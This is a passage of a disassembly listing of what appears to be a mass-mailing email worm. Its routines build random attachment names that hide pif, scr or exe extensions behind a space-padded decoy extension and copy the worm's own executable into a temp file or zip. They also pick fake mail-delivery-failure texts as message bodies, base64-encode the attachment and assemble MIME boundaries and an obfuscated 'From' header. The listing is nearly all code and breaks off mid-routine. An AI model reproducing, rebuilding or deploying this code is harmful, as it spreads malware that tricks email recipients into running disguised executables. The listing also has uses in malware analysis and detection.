  8251. loc_4A6DED:                ; CODE XREF: sub_4A6D9F+2Fj
  8252.         and    byte ptr [esi+ebx+184h], 0
  8253.         pop    edi
  8254.         jmp    short loc_4A6E58
  8255. ; ───────────────────────────────────────────────────────────────────────────
  8256.  
  8257. loc_4A6DF8:                ; CODE XREF: sub_4A6D9F+15j
  8258.         xor    esi, esi
  8259.         mov    al, 1Eh
  8260.         inc    esi
  8261.         mov    ecx, offset byte_4A32A8
  8262.  
  8263. loc_4A6E02:                ; CODE XREF: sub_4A6D9F+6Fj
  8264.         movsx    eax, al
  8265.         add    ecx, 8
  8266.         add    esi, eax
  8267.         mov    al, [ecx]
  8268.         test    al, al
  8269.         jnz    short loc_4A6E02
  8270.         call    sub_4A4221
  8271.         movzx    eax, ax
  8272.         cdq
  8273.         idiv    esi
  8274.         xor    esi, esi
  8275.         xor    eax, eax
  8276.         inc    esi
  8277.         mov    cl, 1Eh
  8278.  
  8279. loc_4A6E22:                ; CODE XREF: sub_4A6D9F+96j
  8280.         movsx    ecx, cl
  8281.         add    esi, ecx
  8282.         cmp    esi, edx
  8283.         jge    short loc_4A6E37
  8284.         mov    cl, ds:byte_4A32B0[eax*8]
  8285.         inc    eax
  8286.         test    cl, cl
  8287.         jnz    short loc_4A6E22
  8288.  
  8289. loc_4A6E37:                ; CODE XREF: sub_4A6D9F+8Aj
  8290.         cmp    ds:byte_4A32A8[eax*8], 0
  8291.         jnz    short loc_4A6E43
  8292.         xor    eax, eax
  8293.  
  8294. loc_4A6E43:                ; CODE XREF: sub_4A6D9F+A0j
  8295.         push    ds:dword_4A32AC[eax*8]
  8296.         lea    eax, [ebx+184h]
  8297.         push    eax
  8298.         call    sub_4A465E
  8299.         pop    ecx
  8300.         pop    ecx
  8301.  
  8302. loc_4A6E58:                ; CODE XREF: sub_4A6D9F+57j
  8303.         xor    esi, esi
  8304.         mov    al, 32h
  8305.         inc    esi
  8306.         mov    ecx, offset byte_4A32F8
  8307.  
  8308. loc_4A6E62:                ; CODE XREF: sub_4A6D9F+CFj
  8309.         movsx    eax, al
  8310.         add    ecx, 8
  8311.         add    esi, eax
  8312.         mov    al, [ecx]
  8313.         test    al, al
  8314.         jnz    short loc_4A6E62
  8315.         call    sub_4A4221
  8316.         movzx    eax, ax
  8317.         cdq
  8318.         idiv    esi
  8319.         xor    esi, esi
  8320.         xor    eax, eax
  8321.         inc    esi
  8322.         mov    cl, 32h
  8323.  
  8324. loc_4A6E82:                ; CODE XREF: sub_4A6D9F+F6j
  8325.         movsx    ecx, cl
  8326.         add    esi, ecx
  8327.         cmp    esi, edx
  8328.         jge    short loc_4A6E97
  8329.         mov    cl, ds:byte_4A3300[eax*8]
  8330.         inc    eax
  8331.         test    cl, cl
  8332.         jnz    short loc_4A6E82
  8333.  
  8334. loc_4A6E97:                ; CODE XREF: sub_4A6D9F+EAj
  8335.         cmp    ds:byte_4A32F8[eax*8], 0
  8336.         jnz    short loc_4A6EA3
  8337.         xor    eax, eax
  8338.  
  8339. loc_4A6EA3:                ; CODE XREF: sub_4A6D9F+100j
  8340.         push    ds:dword_4A32FC[eax*8]
  8341.         lea    esi, [ebx+1A4h]
  8342.         push    esi
  8343.         call    sub_4A465E
  8344.         lea    eax, [ebx+184h]
  8345.         push    esi
  8346.         push    eax
  8347.         add    ebx, 1B7h
  8348.         push    offset aS_S    ; "%s.%s"
  8349.         push    ebx
  8350.         call    ds:wsprintfA
  8351.         add    esp, 18h
  8352.         pop    esi
  8353.         pop    ebx
  8354.         retn
  8355. sub_4A6D9F    endp
  8356.  
  8357.  
  8358. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  8359.  
  8360.  
  8361. sub_4A6ED6    proc near        ; CODE XREF: sub_4A76D2+60p
  8362.         push    ebx
  8363.         push    esi
  8364.         mov    ebx, eax
  8365.         call    sub_4A4221
  8366.         movzx    eax, ax
  8367.         push    64h
  8368.         cdq
  8369.         pop    ecx
  8370.         idiv    ecx
  8371.         cmp    edx, 5
  8372.         jge    short loc_4A6F2F
  8373.         push    edi
  8374.         call    sub_4A4221
  8375.         movzx    eax, ax
  8376.         push    0Fh
  8377.         xor    esi, esi
  8378.         cdq
  8379.         pop    ecx
  8380.         idiv    ecx
  8381.         mov    edi, edx
  8382.         add    edi, 3
  8383.         test    edi, edi
  8384.         jle    short loc_4A6F24
  8385.  
  8386. loc_4A6F07:                ; CODE XREF: sub_4A6ED6+4Cj
  8387.         call    sub_4A4221
  8388.         movzx    eax, ax
  8389.         push    1Ah
  8390.         cdq
  8391.         pop    ecx
  8392.         idiv    ecx
  8393.         add    dl, 61h
  8394.         mov    [ebx+esi+104h],    dl
  8395.         inc    esi
  8396.         cmp    esi, edi
  8397.         jl    short loc_4A6F07
  8398.  
  8399. loc_4A6F24:                ; CODE XREF: sub_4A6ED6+2Fj
  8400.         and    byte ptr [esi+ebx+104h], 0
  8401.         pop    edi
  8402.         jmp    short loc_4A6F8F
  8403. ; ───────────────────────────────────────────────────────────────────────────
  8404.  
  8405. loc_4A6F2F:                ; CODE XREF: sub_4A6ED6+15j
  8406.         xor    esi, esi
  8407.         mov    al, 0Ch
  8408.         inc    esi
  8409.         mov    ecx, offset byte_4A3328
  8410.  
  8411. loc_4A6F39:                ; CODE XREF: sub_4A6ED6+6Fj
  8412.         movsx    eax, al
  8413.         add    ecx, 8
  8414.         add    esi, eax
  8415.         mov    al, [ecx]
  8416.         test    al, al
  8417.         jnz    short loc_4A6F39
  8418.         call    sub_4A4221
  8419.         movzx    eax, ax
  8420.         cdq
  8421.         idiv    esi
  8422.         xor    esi, esi
  8423.         xor    eax, eax
  8424.         inc    esi
  8425.         mov    cl, 0Ch
  8426.  
  8427. loc_4A6F59:                ; CODE XREF: sub_4A6ED6+96j
  8428.         movsx    ecx, cl
  8429.         add    esi, ecx
  8430.         cmp    esi, edx
  8431.         jge    short loc_4A6F6E
  8432.         mov    cl, ds:byte_4A3330[eax*8]
  8433.         inc    eax
  8434.         test    cl, cl
  8435.         jnz    short loc_4A6F59
  8436.  
  8437. loc_4A6F6E:                ; CODE XREF: sub_4A6ED6+8Aj
  8438.         cmp    ds:byte_4A3328[eax*8], 0
  8439.         jnz    short loc_4A6F7A
  8440.         xor    eax, eax
  8441.  
  8442. loc_4A6F7A:                ; CODE XREF: sub_4A6ED6+A0j
  8443.         push    ds:dword_4A332C[eax*8]
  8444.         lea    eax, [ebx+104h]
  8445.         push    eax
  8446.         call    sub_4A465E
  8447.         pop    ecx
  8448.         pop    ecx
  8449.  
  8450. loc_4A6F8F:                ; CODE XREF: sub_4A6ED6+57j
  8451.         call    sub_4A4221
  8452.         movzx    eax, ax
  8453.         push    64h
  8454.         cdq
  8455.         pop    ecx
  8456.         idiv    ecx
  8457.         cmp    edx, 32h
  8458.         jl    short loc_4A6FB8
  8459.         cmp    edx, 55h
  8460.         jge    short loc_4A6FBD
  8461.         add    ebx, 104h
  8462.         push    1        ; cchLength
  8463.         push    ebx        ; lpsz
  8464.         call    ds:CharUpperBuffA
  8465.         jmp    short loc_4A6FCA
  8466. ; ───────────────────────────────────────────────────────────────────────────
  8467.  
  8468. loc_4A6FB8:                ; CODE XREF: sub_4A6ED6+CAj
  8469.         cmp    edx, 55h
  8470.         jl    short loc_4A6FCA
  8471.  
  8472. loc_4A6FBD:                ; CODE XREF: sub_4A6ED6+CFj
  8473.         add    ebx, 104h
  8474.         push    ebx        ; lpsz
  8475.         call    ds:CharUpperA
  8476.  
  8477. loc_4A6FCA:                ; CODE XREF: sub_4A6ED6+E0j
  8478.                     ; sub_4A6ED6+E5j
  8479.         pop    esi
  8480.         pop    ebx
  8481.         retn
  8482. sub_4A6ED6    endp
  8483.  
  8484.  
  8485. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  8486.  
  8487. ; Attributes: bp-based frame
  8488.  
  8489. sub_4A6FCD    proc near        ; CODE XREF: sub_4A76D2+6Bp
  8490.  
  8491. Filename    = byte ptr -30Ch
  8492. String1        = byte ptr -208h
  8493. hObject        = dword    ptr -8
  8494. lpFileName    = dword    ptr -4
  8495.  
  8496.         push    ebp
  8497.         mov    ebp, esp
  8498.         sub    esp, 30Ch
  8499.         push    ebx
  8500.         xor    ebx, ebx
  8501.         push    edi
  8502.         mov    [esi+1B4h], bl
  8503.         mov    [esi+1B5h], bl
  8504.         call    sub_4A4221
  8505.         movzx    eax, ax
  8506.         push    64h
  8507.         cdq
  8508.         pop    ecx
  8509.         idiv    ecx
  8510.         cmp    edx, 40h
  8511.         jge    short loc_4A7000
  8512.         mov    byte ptr [esi+1B4h], 1
  8513.  
  8514. loc_4A7000:                ; CODE XREF: sub_4A6FCD+2Aj
  8515.         cmp    [esi+1B4h], bl
  8516.         jnz    short loc_4A7029
  8517.         lea    eax, [esi+2B7h]
  8518.         push    104h        ; nSize
  8519.         push    eax        ; lpFilename
  8520.         push    ebx        ; hModule
  8521.         mov    [esi+1B6h], bl
  8522.         mov    [ebp+lpFileName], eax
  8523.         call    ds:GetModuleFileNameA
  8524.         jmp    loc_4A70F7
  8525. ; ───────────────────────────────────────────────────────────────────────────
  8526.  
  8527. loc_4A7029:                ; CODE XREF: sub_4A6FCD+39j
  8528.         lea    eax, [ebp+Filename]
  8529.         mov    edi, 104h
  8530.         push    eax        ; lpBuffer
  8531.         push    edi        ; nBufferLength
  8532.         mov    byte ptr [esi+1B6h], 1
  8533.         mov    [ebp+Filename],    bl
  8534.         call    ds:GetTempPathA
  8535.         cmp    [ebp+Filename],    bl
  8536.         jz    loc_4A724E
  8537.         lea    eax, [esi+2B7h]
  8538.         mov    [ebp+lpFileName], eax
  8539.         push    eax        ; lpTempFileName
  8540.         mov    [eax], bl
  8541.         push    ebx        ; uUnique
  8542.         lea    eax, [ebp+Filename]
  8543.         push    offset PrefixString ; lpPrefixString
  8544.         push    eax        ; lpPathName
  8545.         call    ds:GetTempFileNameA
  8546.         mov    eax, [ebp+lpFileName]
  8547.         cmp    [eax], bl
  8548.         jz    loc_4A724E
  8549.         lea    eax, [ebp+Filename]
  8550.         push    edi        ; nSize
  8551.         push    eax        ; lpFilename
  8552.         push    ebx        ; hModule
  8553.         call    ds:GetModuleFileNameA
  8554.         mov    [esi+1B5h], bl
  8555.         call    sub_4A4221
  8556.         movzx    eax, ax
  8557.         push    64h
  8558.         cdq
  8559.         pop    ecx
  8560.         idiv    ecx
  8561.         cmp    edx, 28h
  8562.         jge    short loc_4A70AE
  8563.         mov    byte ptr [esi+1B5h], 1
  8564.  
  8565. loc_4A70AE:                ; CODE XREF: sub_4A6FCD+D8j
  8566.         cmp    [esi+1B5h], bl
  8567.         jnz    loc_4A715E
  8568.         lea    eax, [esi+1B7h]
  8569.  
  8570. loc_4A70C0:                ; CODE XREF: sub_4A6FCD+26Bj
  8571.         push    eax
  8572.         lea    eax, [ebp+Filename]
  8573.         push    [ebp+lpFileName]
  8574.         push    eax
  8575.         call    sub_4A6864
  8576.         add    esp, 0Ch
  8577.         test    eax, eax
  8578.         jnz    loc_4A724E
  8579.         lea    eax, [esi+184h]
  8580.         push    eax
  8581.         lea    eax, [esi+1B7h]
  8582.         push    offset aS_zip    ; "%s.zip"
  8583.         push    eax
  8584.         call    ds:wsprintfA
  8585.         add    esp, 0Ch
  8586.  
  8587. loc_4A70F7:                ; CODE XREF: sub_4A6FCD+57j
  8588.         push    ebx        ; hTemplateFile
  8589.         push    80h        ; dwFlagsAndAttributes
  8590.         push    3        ; dwCreationDisposition
  8591.         push    ebx        ; lpSecurityAttributes
  8592.         push    3        ; dwShareMode
  8593.         push    80000000h    ; dwDesiredAccess
  8594.         push    [ebp+lpFileName] ; lpFileName
  8595.         call    ds:CreateFileA
  8596.         cmp    eax, ebx
  8597.         mov    [ebp+hObject], eax
  8598.         jz    loc_4A723D
  8599.         cmp    eax, 0FFFFFFFFh
  8600.         jz    loc_4A723D
  8601.         push    ebx        ; lpFileSizeHigh
  8602.         push    eax        ; hFile
  8603.         lea    edi, [esi+3BCh]
  8604.         call    ds:GetFileSize
  8605.         push    [ebp+hObject]    ; hObject
  8606.         mov    [edi], eax
  8607.         call    ds:CloseHandle
  8608.         mov    edi, [edi]
  8609.         cmp    edi, 400h
  8610.         jl    loc_4A723D
  8611.         cmp    edi, 4B000h
  8612.         jg    loc_4A723D
  8613.         xor    eax, eax
  8614.         jmp    loc_4A7251
  8615. ; ───────────────────────────────────────────────────────────────────────────
  8616.  
  8617. loc_4A715E:                ; CODE XREF: sub_4A6FCD+E7j
  8618.         lea    eax, [esi+184h]
  8619.         push    eax        ; lpString2
  8620.         lea    eax, [ebp+String1]
  8621.         push    eax        ; lpString1
  8622.         call    ds:lstrcpyA
  8623.         mov    edi, ds:lstrcatA
  8624.         lea    eax, [ebp+String1]
  8625.         push    offset a__1    ; lpString2
  8626.         push    eax        ; lpString1
  8627.         call    edi ; lstrcatA
  8628.         call    sub_4A4221
  8629.         movzx    eax, ax
  8630.         push    5
  8631.         cdq
  8632.         pop    ecx
  8633.         idiv    ecx
  8634.         cmp    edx, ebx
  8635.         jz    short loc_4A71AD
  8636.         jle    short loc_4A71A6
  8637.         cmp    edx, 2
  8638.         jg    short loc_4A71A6
  8639.         push    offset aHtm    ; "htm"
  8640.         jmp    short loc_4A71B2
  8641. ; ───────────────────────────────────────────────────────────────────────────
  8642.  
  8643. loc_4A71A6:                ; CODE XREF: sub_4A6FCD+1CBj
  8644.                     ; sub_4A6FCD+1D0j
  8645.         push    offset aTxt    ; "txt"
  8646.         jmp    short loc_4A71B2
  8647. ; ───────────────────────────────────────────────────────────────────────────
  8648.  
  8649. loc_4A71AD:                ; CODE XREF: sub_4A6FCD+1C9j
  8650.         push    offset aDoc    ; lpString2
  8651.  
  8652. loc_4A71B2:                ; CODE XREF: sub_4A6FCD+1D7j
  8653.                     ; sub_4A6FCD+1DEj
  8654.         lea    eax, [ebp+String1]
  8655.         push    eax        ; lpString1
  8656.         call    edi ; lstrcatA
  8657.         mov    [ebp+hObject], 46h
  8658.  
  8659. loc_4A71C2:                ; CODE XREF: sub_4A6FCD+206j
  8660.         lea    eax, [ebp+String1]
  8661.         push    offset dword_4A2DB8 ; lpString2
  8662.         push    eax        ; lpString1
  8663.         call    edi ; lstrcatA
  8664.         dec    [ebp+hObject]
  8665.         jnz    short loc_4A71C2
  8666.         lea    eax, [ebp+String1]
  8667.         push    offset a__1    ; lpString2
  8668.         push    eax        ; lpString1
  8669.         call    edi ; lstrcatA
  8670.         call    sub_4A4221
  8671.         movzx    eax, ax
  8672.         push    3
  8673.         cdq
  8674.         pop    ecx
  8675.         idiv    ecx
  8676.         lea    eax, [ebp+String1]
  8677.         sub    edx, ebx
  8678.         jz    short loc_4A721C
  8679.         dec    edx
  8680.         jz    short loc_4A720D
  8681.         push    offset aP    ; lpString2
  8682.         push    eax        ; lpString1
  8683.         call    edi ; lstrcatA
  8684.         push    offset aIf    ; "if"
  8685.         jmp    short loc_4A7229
  8686. ; ───────────────────────────────────────────────────────────────────────────
  8687.  
  8688. loc_4A720D:                ; CODE XREF: sub_4A6FCD+22Fj
  8689.         push    offset aS_0    ; lpString2
  8690.         push    eax        ; lpString1
  8691.         call    edi ; lstrcatA
  8692.         push    offset aCr    ; "cr"
  8693.         jmp    short loc_4A7229
  8694. ; ───────────────────────────────────────────────────────────────────────────
  8695.  
  8696. loc_4A721C:                ; CODE XREF: sub_4A6FCD+22Cj
  8697.         push    offset aE    ; lpString2
  8698.         push    eax        ; lpString1
  8699.         call    edi ; lstrcatA
  8700.         push    offset aXe    ; lpString2
  8701.  
  8702. loc_4A7229:                ; CODE XREF: sub_4A6FCD+23Ej
  8703.                     ; sub_4A6FCD+24Dj
  8704.         lea    eax, [ebp+String1]
  8705.         push    eax        ; lpString1
  8706.         call    edi ; lstrcatA
  8707.         lea    eax, [ebp+String1]
  8708.         jmp    loc_4A70C0
  8709. ; ───────────────────────────────────────────────────────────────────────────
  8710.  
  8711. loc_4A723D:                ; CODE XREF: sub_4A6FCD+148j
  8712.                     ; sub_4A6FCD+151j ...
  8713.         cmp    [esi+1B6h], bl
  8714.         jz    short loc_4A724E
  8715.         push    [ebp+lpFileName] ; lpFileName
  8716.         call    ds:DeleteFileA
  8717.  
  8718. loc_4A724E:                ; CODE XREF: sub_4A6FCD+82j
  8719.                     ; sub_4A6FCD+ACj ...
  8720.         xor    eax, eax
  8721.         inc    eax
  8722.  
  8723. loc_4A7251:                ; CODE XREF: sub_4A6FCD+18Cj
  8724.         pop    edi
  8725.         pop    ebx
  8726.         leave
  8727.         retn
  8728. sub_4A6FCD    endp
  8729.  
  8730.  
  8731. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  8732.  
  8733. ; Attributes: bp-based frame
  8734.  
  8735. sub_4A7255    proc near        ; CODE XREF: sub_4A75FD+5Dp
  8736.  
  8737. var_30        = dword    ptr -30h
  8738. lpString2    = dword    ptr -2Ch
  8739. var_28        = dword    ptr -28h
  8740. var_24        = dword    ptr -24h
  8741. var_20        = dword    ptr -20h
  8742. var_1C        = dword    ptr -1Ch
  8743. var_18        = dword    ptr -18h
  8744. var_14        = dword    ptr -14h
  8745. var_10        = dword    ptr -10h
  8746. var_C        = dword    ptr -0Ch
  8747. var_8        = dword    ptr -8
  8748. var_4        = dword    ptr -4
  8749.  
  8750.         push    ebp
  8751.         mov    ebp, esp
  8752.         sub    esp, 30h
  8753.         push    esi
  8754.         push    edi
  8755.         push    14h
  8756.         and    [ebp+var_8], 0
  8757.         pop    esi
  8758.         mov    eax, offset dword_4A33E8
  8759.         push    28h
  8760.         mov    [ebp+var_30], esi
  8761.         pop    ecx
  8762.         mov    [ebp+lpString2], eax
  8763.         mov    [ebp+var_28], 5
  8764.         mov    [ebp+var_24], offset aTest ; "test"
  8765.         mov    [ebp+var_20], ecx
  8766.         mov    [ebp+var_1C], offset aTheMessageCann ; "The message cannot be represented in 7-"...
  8767.         mov    [ebp+var_18], ecx
  8768.         mov    [ebp+var_14], offset aTheMessageCont ; "The message contains Unicode characters"...
  8769.         mov    [ebp+var_10], esi
  8770.         mov    [ebp+var_C], offset aMailTransactio ; "Mail transaction    failed.    Partial    messag"...
  8771.         mov    [ebp+var_4], eax
  8772.         call    sub_4A4221
  8773.         movzx    eax, ax
  8774.         push    64h
  8775.         cdq
  8776.         pop    ecx
  8777.         idiv    ecx
  8778.         cmp    edx, esi
  8779.         jge    short loc_4A731C
  8780.         call    sub_4A4221
  8781.         movzx    eax, ax
  8782.         cdq
  8783.         mov    ecx, 800h
  8784.         xor    esi, esi
  8785.         idiv    ecx
  8786.         mov    edi, edx
  8787.         add    edi, 200h
  8788.         test    edi, edi
  8789.         jle    short loc_4A7316
  8790.  
  8791. loc_4A72D1:                ; CODE XREF: sub_4A7255+BFj
  8792.         call    sub_4A4221
  8793.         cmp    al, 20h
  8794.         jb    short loc_4A7312
  8795.         cmp    al, 3Dh
  8796.         jz    short loc_4A7312
  8797.         cmp    al, 2Bh
  8798.         jz    short loc_4A7312
  8799.         cmp    al, 0FFh
  8800.         jz    short loc_4A7312
  8801.         cmp    al, 7Fh
  8802.         jz    short loc_4A7312
  8803.         cmp    al, 80h
  8804.         jz    short loc_4A7312
  8805.         cmp    al, 40h
  8806.         jz    short loc_4A7312
  8807.         mov    [esi+ebx], al
  8808.         inc    esi
  8809.         call    sub_4A4221
  8810.         movzx    eax, ax
  8811.         push    46h
  8812.         cdq
  8813.         pop    ecx
  8814.         idiv    ecx
  8815.         test    edx, edx
  8816.         jnz    short loc_4A7312
  8817.         mov    byte ptr [esi+ebx], 0Dh
  8818.         inc    esi
  8819.         mov    byte ptr [esi+ebx], 0Ah
  8820.         inc    esi
  8821.  
  8822. loc_4A7312:                ; CODE XREF: sub_4A7255+83j
  8823.                     ; sub_4A7255+87j ...
  8824.         cmp    esi, edi
  8825.         jl    short loc_4A72D1
  8826.  
  8827. loc_4A7316:                ; CODE XREF: sub_4A7255+7Aj
  8828.         and    byte ptr [esi+ebx], 0
  8829.         jmp    short loc_4A7362
  8830. ; ───────────────────────────────────────────────────────────────────────────
  8831.  
  8832. loc_4A731C:                ; CODE XREF: sub_4A7255+5Cj
  8833.         xor    edi, edi
  8834.         mov    ecx, esi
  8835.         inc    edi
  8836.         lea    eax, [ebp+var_30]
  8837.  
  8838. loc_4A7324:                ; CODE XREF: sub_4A7255+D8j
  8839.         add    eax, 8
  8840.         add    edi, ecx
  8841.         mov    ecx, [eax]
  8842.         test    ecx, ecx
  8843.         jnz    short loc_4A7324
  8844.         call    sub_4A4221
  8845.         movzx    eax, ax
  8846.         cdq
  8847.         idiv    edi
  8848.         xor    ecx, ecx
  8849.         xor    eax, eax
  8850.         inc    ecx
  8851.  
  8852. loc_4A733F:                ; CODE XREF: sub_4A7255+F7j
  8853.         add    ecx, esi
  8854.         cmp    ecx, edx
  8855.         jge    short loc_4A734E
  8856.         mov    esi, [ebp+eax*8+var_28]
  8857.         inc    eax
  8858.         test    esi, esi
  8859.         jnz    short loc_4A733F
  8860.  
  8861. loc_4A734E:                ; CODE XREF: sub_4A7255+EEj
  8862.         cmp    [ebp+eax*8+var_30], 0
  8863.         jnz    short loc_4A7357
  8864.         xor    eax, eax
  8865.  
  8866. loc_4A7357:                ; CODE XREF: sub_4A7255+FEj
  8867.         push    [ebp+eax*8+lpString2] ;    lpString2
  8868.         push    ebx        ; lpString1
  8869.         call    ds:lstrcpyA
  8870.  
  8871. loc_4A7362:                ; CODE XREF: sub_4A7255+C5j
  8872.         pop    edi
  8873.         pop    esi
  8874.         leave
  8875.         retn
  8876. sub_4A7255    endp
  8877.  
  8878.  
  8879. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  8880.  
  8881. ; Attributes: bp-based frame
  8882.  
  8883. sub_4A7366    proc near        ; CODE XREF: sub_4A73CA+8Ap
  8884.                     ; sub_4A73CA+D8p
  8885.  
  8886. var_44        = byte ptr -44h
  8887.  
  8888.         push    ebp
  8889.         mov    ebp, esp
  8890.         sub    esp, 44h
  8891.         push    esi
  8892.         push    edi
  8893.         push    10h
  8894.         mov    esi, offset aAbcdefghijkl_1 ; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
  8895.         pop    ecx
  8896.         lea    edi, [ebp+var_44]
  8897.         repe movsd
  8898.         movzx    ecx, byte ptr [eax]
  8899.         shr    ecx, 2
  8900.         movsb
  8901.         mov    cl, [ebp+ecx+var_44]
  8902.         pop    edi
  8903.         mov    [edx], cl
  8904.         mov    cl, [eax]
  8905.         movzx    esi, byte ptr [eax+1]
  8906.         and    ecx, 3
  8907.         shl    ecx, 4
  8908.         shr    esi, 4
  8909.         or    ecx, esi
  8910.         mov    cl, [ebp+ecx+var_44]
  8911.         mov    [edx+1], cl
  8912.         mov    cl, [eax+1]
  8913.         movzx    esi, byte ptr [eax+2]
  8914.         and    ecx, 0Fh
  8915.         shl    ecx, 2
  8916.         shr    esi, 6
  8917.         or    ecx, esi
  8918.         pop    esi
  8919.         mov    cl, [ebp+ecx+var_44]
  8920.         mov    [edx+2], cl
  8921.         mov    al, [eax+2]
  8922.         and    eax, 3Fh
  8923.         mov    al, [ebp+eax+var_44]
  8924.         mov    [edx+3], al
  8925.         leave
  8926.         retn
  8927. sub_4A7366    endp
  8928.  
  8929.  
  8930. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  8931.  
  8932. ; Attributes: bp-based frame
  8933.  
  8934. sub_4A73CA    proc near        ; CODE XREF: sub_4A75FD+AEp
  8935.  
  8936. Buffer        = byte ptr -418h
  8937. hObject        = dword    ptr -18h
  8938. NumberOfBytesRead= dword ptr -14h
  8939. var_10        = dword    ptr -10h
  8940. var_C        = byte ptr -0Ch
  8941. var_8        = byte ptr -8
  8942. var_6        = byte ptr -6
  8943. var_5        = byte ptr -5
  8944. var_4        = dword    ptr -4
  8945. arg_0        = dword    ptr  8
  8946.  
  8947.         push    ebp
  8948.         mov    ebp, esp
  8949.         sub    esp, 418h
  8950.         push    edi
  8951.         xor    edi, edi
  8952.         push    edi        ; hTemplateFile
  8953.         push    edi        ; dwFlagsAndAttributes
  8954.         push    3        ; dwCreationDisposition
  8955.         push    edi        ; lpSecurityAttributes
  8956.         push    3        ; dwShareMode
  8957.         add    eax, 2B7h
  8958.         push    80000000h    ; dwDesiredAccess
  8959.         push    eax        ; lpFileName
  8960.         call    ds:CreateFileA
  8961.         cmp    eax, 0FFFFFFFFh
  8962.         mov    [ebp+hObject], eax
  8963.         jnz    short loc_4A73FE
  8964.         xor    eax, eax
  8965.         inc    eax
  8966.         jmp    loc_4A74DA
  8967. ; ───────────────────────────────────────────────────────────────────────────
  8968.  
  8969. loc_4A73FE:                ; CODE XREF: sub_4A73CA+2Aj
  8970.         push    ebx
  8971.         push    esi
  8972.         xor    esi, esi
  8973.         mov    [ebp+var_4], edi
  8974.         mov    [ebp+NumberOfBytesRead], edi
  8975.         xor    ebx, ebx
  8976.         mov    [ebp+var_10], edi
  8977.  
  8978. loc_4A740D:                ; CODE XREF: sub_4A73CA+82j
  8979.                     ; sub_4A73CA+C9j
  8980.         mov    eax, [ebp+NumberOfBytesRead]
  8981.         cmp    [ebp+var_4], eax
  8982.         jb    short loc_4A7437
  8983.         lea    eax, [ebp+NumberOfBytesRead]
  8984.         push    edi        ; lpOverlapped
  8985.         push    eax        ; lpNumberOfBytesRead
  8986.         lea    eax, [ebp+Buffer]
  8987.         push    400h        ; nNumberOfBytesToRead
  8988.         push    eax        ; lpBuffer
  8989.         push    [ebp+hObject]    ; hFile
  8990.         call    ds:ReadFile
  8991.         cmp    [ebp+NumberOfBytesRead], edi
  8992.         jz    short loc_4A7498
  8993.         mov    [ebp+var_4], edi
  8994.  
  8995. loc_4A7437:                ; CODE XREF: sub_4A73CA+49j
  8996.         mov    eax, [ebp+var_4]
  8997.         inc    esi
  8998.         inc    [ebp+var_4]
  8999.         cmp    esi, 3
  9000.         mov    al, [ebp+eax+Buffer]
  9001.         mov    byte ptr [ebp+esi+var_10+3], al
  9002.         jnz    short loc_4A740D
  9003.         lea    edx, [ebp+var_8]
  9004.         lea    eax, [ebp+var_C]
  9005.         call    sub_4A7366
  9006.         xor    esi, esi
  9007.  
  9008. loc_4A745B:                ; CODE XREF: sub_4A73CA+B6j
  9009.         mov    eax, [ebp+arg_0]
  9010.         mov    cl, [ebp+esi+var_8]
  9011.         mov    [ebx+eax], cl
  9012.         inc    ebx
  9013.         inc    [ebp+var_10]
  9014.         cmp    [ebp+var_10], 4Ch
  9015.         jb    short loc_4A747C
  9016.         mov    byte ptr [ebx+eax], 0Dh
  9017.         inc    ebx
  9018.         mov    [ebp+var_10], edi
  9019.         mov    byte ptr [ebx+eax], 0Ah
  9020.         inc    ebx
  9021.  
  9022. loc_4A747C:                ; CODE XREF: sub_4A73CA+A3j
  9023.         inc    esi
  9024.         cmp    esi, 4
  9025.         jb    short loc_4A745B
  9026.         push    3
  9027.         lea    eax, [ebp+var_C]
  9028.         push    edi
  9029.         push    eax
  9030.         call    memset
  9031.         add    esp, 0Ch
  9032.         xor    esi, esi
  9033.         jmp    loc_4A740D
  9034. ; ───────────────────────────────────────────────────────────────────────────
  9035.  
  9036. loc_4A7498:                ; CODE XREF: sub_4A73CA+68j
  9037.         cmp    esi, edi
  9038.         jz    short loc_4A74C6
  9039.         lea    edx, [ebp+var_8]
  9040.         lea    eax, [ebp+var_C]
  9041.         call    sub_4A7366
  9042.         cmp    esi, 3
  9043.         jnb    short loc_4A74B0
  9044.         mov    [ebp+var_5], 3Dh
  9045.  
  9046. loc_4A74B0:                ; CODE XREF: sub_4A73CA+E0j
  9047.         cmp    esi, 2
  9048.         jnb    short loc_4A74B9
  9049.         mov    [ebp+var_6], 3Dh
  9050.  
  9051. loc_4A74B9:                ; CODE XREF: sub_4A73CA+E9j
  9052.         mov    eax, [ebp+arg_0]
  9053.         lea    esi, [ebp+var_8]
  9054.         lea    edi, [ebx+eax]
  9055.         add    ebx, 4
  9056.         movsd
  9057.  
  9058. loc_4A74C6:                ; CODE XREF: sub_4A73CA+D0j
  9059.         mov    eax, [ebp+arg_0]
  9060.         push    [ebp+hObject]    ; hObject
  9061.         and    byte ptr [ebx+eax], 0
  9062.         call    ds:CloseHandle
  9063.         pop    esi
  9064.         xor    eax, eax
  9065.         pop    ebx
  9066.  
  9067. loc_4A74DA:                ; CODE XREF: sub_4A73CA+2Fj
  9068.         pop    edi
  9069.         leave
  9070.         retn
  9071. sub_4A73CA    endp
  9072.  
  9073.  
  9074. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  9075.  
  9076.  
  9077. sub_4A74DD    proc near        ; CODE XREF: sub_4A76D2+AEp
  9078.  
  9079. arglist        = byte ptr -4
  9080.  
  9081.         push    ecx
  9082.         push    ebx
  9083.         push    ebp
  9084.         mov    ebx, eax
  9085.         push    esi
  9086.         push    edi
  9087.         mov    esi, [ebx+440h]
  9088.         lea    edi, [ebx+3C0h]
  9089.         mov    dword ptr [esp+14h+arglist], edi
  9090.         call    sub_4A4239
  9091.         push    eax
  9092.         call    sub_4A4239
  9093.         push    eax
  9094.         call    sub_4A4221
  9095.         movzx    eax, ax
  9096.         push    0Fh
  9097.         cdq
  9098.         pop    ecx
  9099.         idiv    ecx
  9100.         push    edx
  9101.         push    0
  9102.         push    offset aNextpart ; "NextPart"
  9103.         push    offset a_S__3u__4u__8x ; "----=_%s_%.3u_%.4u_%.8X.%.8X"
  9104.         push    edi
  9105.         call    ds:wsprintfA
  9106.         push    offset aSebz    ; "Sebz: "
  9107.         push    esi
  9108.         call    sub_4A465E
  9109.         mov    ebp, ds:lstrcatA
  9110.         add    esp, 24h
  9111.         lea    eax, [ebx+4]
